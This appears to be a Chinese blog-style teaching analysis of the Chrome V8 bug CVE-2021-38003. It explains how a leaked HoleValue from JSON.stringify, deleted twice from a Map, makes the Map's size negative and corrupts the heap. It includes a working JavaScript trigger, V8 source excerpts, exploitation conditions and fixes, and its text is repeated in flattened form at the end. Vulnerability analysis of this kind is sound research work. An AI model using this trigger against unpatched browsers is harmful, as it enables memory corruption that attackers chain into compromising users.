《灰豆聊 Bug》1. Chrome V8 CVE-2021-38003 详解
字数 1878 2025-08-29 08:32:09

Chrome V8 CVE-2021-38003 漏洞分析与教学文档

1. 漏洞概述

CVE-2021-38003 是 Chrome V8 引擎中的一个漏洞,影响 Google Chrome 95.0.4638.54 (Official Build) (x86_64) 版本。该漏洞源于 V8 对 JSON.stringify 异常处理不当,结合 Map 对象的删除操作,可导致堆损坏。

2. 漏洞原理详解

2.1 漏洞触发流程

  1. 通过 JSON.stringify 触发字符串构建器溢出,获取特殊的 HoleValue
  2. 将 HoleValue 作为 Map 的键进行操作
  3. 通过特定的删除操作序列导致 Map 内部状态不一致
  4. 最终导致 Map 的 size 变为负数,造成堆损坏

2.2 关键组件分析

2.2.1 JSON.stringify 异常处理

JSON.stringify 在处理大字符串时使用 string builder 容器,该容器的容量上限是 String::kMaxLength。当溢出发生时:

  • 正常情况下溢出异常应被 V8 的异常队列捕获
  • 但 JSON.stringify 的溢出异常未被 V8 捕获,而是返回到了用户态
  • 用户可以通过 try-catch 捕获到特殊的 HoleValue(V8 内部表示空值的变量)

2.2.2 Map 删除操作机制

Map 的删除操作 (map.delete) 内部实现:

  1. 查找要删除的键值对
  2. 将键和值的位置用 HoleValue 填充
  3. 更新 Map 的 size (size = size - 1)
  4. 检查是否需要触发 Rehash 操作清理 hole

关键条件判断:

GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
                  number_of_buckets),
       &shrink);

number_of_elements*2 < number_of_buckets 时,会触发 Runtime::kMapShrink 进行 Rehash。

2.3 漏洞利用关键点

  1. 获取 HoleValue

    • 通过构造大字符串使 JSON.stringify 溢出
    • 捕获返回的 HoleValue
  2. Map 操作序列

    • 先添加一个正常键值对 (如 map.set(1, 1))
    • 然后添加 HoleValue 作为键 (map.set(hole, 1))
    • 执行两次删除 HoleValue 的操作
    • 最后删除正常键值对
  3. 避免过早 Rehash

    • map.set(1, 1) 用于"凑数",确保第一次删除后不满足 Rehash 条件
    • 这样可以在第二次删除时造成 size 变为负数

3. 漏洞代码分析

3.1 测试用例代码

function trigger() {
  let a = [], b = [];
  let s = '"'.repeat(0x800000);
  a[20000] = s;
  for (let i = 0; i < 10; i++) a[i] = s;
  for (let i = 0; i < 10; i++) b[i] = a;
  try {
    JSON.stringify(b);
  } catch (hole) {
    return hole;
  }
  throw new Error('could not trigger');
}

let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log("Size");
console.log(map.size);

3.2 关键代码解释

  1. 触发 HoleValue 获取

    • 创建超大字符串数组
    • JSON.stringify 尝试序列化时触发溢出
    • 捕获返回的 HoleValue
  2. Map 操作序列

    • map.set(1, 1):添加正常键值对
    • map.set(hole, 1):添加 HoleValue 作为键
    • 第一次 map.delete(hole):正常删除,size减1
    • 第二次 map.delete(hole):再次找到并"删除"hole,size变为0
    • map.delete(1):删除正常键值对,size变为-1

4. 底层机制分析

4.1 JsonStringify 异常处理

RETURN_RESULT_OR_FAILURE 宏展开:

do {
  Handle<Object> __result__;
  Isolate* __isolate__ = (isolate);
  if (!(JsonStringify(isolate, object, replacer, indent))
       .ToHandle(&__result__)) {
    DCHECK(__isolate__->has_pending_exception());
    return ReadOnlyRoots(__isolate__).exception();
  }
  DCHECK(!__isolate__->has_pending_exception());
  return *__result__;
} while (false);

.ToHandle() 返回 false 时,返回 exception()(即 HoleValue)。

4.2 MapPrototypeDelete 实现

关键部分:

// 标记条目为已删除
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                      TheHoleConstant(), UPDATE_WRITE_BARRIER,
                      kTaggedSize * OrderedHashMap::HashTableStartIndex());
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                      TheHoleConstant(), UPDATE_WRITE_BARRIER,
                      kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                                    OrderedHashMap::kValueOffset));

// 更新元素数量
const TNode<Smi> number_of_elements = SmiSub(
    CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
    SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
    table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);

4.3 Rehash 机制

OrderedHashTable::Rehash 关键部分:

for (InternalIndex old_entry : table->IterateEntries()) {
  int old_entry_raw = old_entry.as_int();
  Object key = table->KeyAt(old_entry);
  if (key.IsTheHole(isolate)) {
    table->SetRemovedIndexAt(removed_holes_index++, old_entry_raw);
    continue;
  }
  // ...处理非hole键...
}

5. 漏洞利用条件

  1. 能够触发 JSON.stringify 的字符串构建器溢出
  2. 获取到 HoleValue 并作为 Map 的键
  3. 精确控制 Map 的操作序列:
    • 添加足够多的正常键值对防止过早 Rehash
    • 对 HoleValue 键执行两次删除操作
  4. 最终导致 Map 的 size 变为负数

6. 防御措施

  1. 修复 JSON.stringify 的异常处理,确保所有异常都被 V8 捕获
  2. 加强 Map 删除操作的边界检查,防止 size 变为负数
  3. 对 HoleValue 作为 Map 键的情况进行特殊处理
  4. 改进 Rehash 触发条件判断逻辑

7. 相关参考

  1. Chromium Issue 1263462
  2. V8 JSON.stringify 源码分析
Chrome V8 CVE-2021-38003 漏洞分析与教学文档 1. 漏洞概述 CVE-2021-38003 是 Chrome V8 引擎中的一个漏洞,影响 Google Chrome 95.0.4638.54 (Official Build) (x86_ 64) 版本。该漏洞源于 V8 对 JSON.stringify 异常处理不当,结合 Map 对象的删除操作,可导致堆损坏。 2. 漏洞原理详解 2.1 漏洞触发流程 通过 JSON.stringify 触发字符串构建器溢出,获取特殊的 HoleValue 将 HoleValue 作为 Map 的键进行操作 通过特定的删除操作序列导致 Map 内部状态不一致 最终导致 Map 的 size 变为负数,造成堆损坏 2.2 关键组件分析 2.2.1 JSON.stringify 异常处理 JSON.stringify 在处理大字符串时使用 string builder 容器,该容器的容量上限是 String::kMaxLength 。当溢出发生时: 正常情况下溢出异常应被 V8 的异常队列捕获 但 JSON.stringify 的溢出异常未被 V8 捕获,而是返回到了用户态 用户可以通过 try-catch 捕获到特殊的 HoleValue(V8 内部表示空值的变量) 2.2.2 Map 删除操作机制 Map 的删除操作 ( map.delete ) 内部实现: 查找要删除的键值对 将键和值的位置用 HoleValue 填充 更新 Map 的 size (size = size - 1) 检查是否需要触发 Rehash 操作清理 hole 关键条件判断: 当 number_of_elements*2 < number_of_buckets 时,会触发 Runtime::kMapShrink 进行 Rehash。 2.3 漏洞利用关键点 获取 HoleValue : 通过构造大字符串使 JSON.stringify 溢出 捕获返回的 HoleValue Map 操作序列 : 先添加一个正常键值对 (如 map.set(1, 1) ) 然后添加 HoleValue 作为键 ( map.set(hole, 1) ) 执行两次删除 HoleValue 的操作 最后删除正常键值对 避免过早 Rehash : map.set(1, 1) 用于"凑数",确保第一次删除后不满足 Rehash 条件 这样可以在第二次删除时造成 size 变为负数 3. 漏洞代码分析 3.1 测试用例代码 3.2 关键代码解释 触发 HoleValue 获取 : 创建超大字符串数组 JSON.stringify 尝试序列化时触发溢出 捕获返回的 HoleValue Map 操作序列 : map.set(1, 1) :添加正常键值对 map.set(hole, 1) :添加 HoleValue 作为键 第一次 map.delete(hole) :正常删除,size减1 第二次 map.delete(hole) :再次找到并"删除"hole,size变为0 map.delete(1) :删除正常键值对,size变为-1 4. 底层机制分析 4.1 JsonStringify 异常处理 RETURN_RESULT_OR_FAILURE 宏展开: 当 .ToHandle() 返回 false 时,返回 exception() (即 HoleValue)。 4.2 MapPrototypeDelete 实现 关键部分: 4.3 Rehash 机制 OrderedHashTable::Rehash 关键部分: 5. 漏洞利用条件 能够触发 JSON.stringify 的字符串构建器溢出 获取到 HoleValue 并作为 Map 的键 精确控制 Map 的操作序列: 添加足够多的正常键值对防止过早 Rehash 对 HoleValue 键执行两次删除操作 最终导致 Map 的 size 变为负数 6. 防御措施 修复 JSON.stringify 的异常处理,确保所有异常都被 V8 捕获 加强 Map 删除操作的边界检查,防止 size 变为负数 对 HoleValue 作为 Map 键的情况进行特殊处理 改进 Rehash 触发条件判断逻辑 7. 相关参考 Chromium Issue 1263462 V8 JSON.stringify 源码分析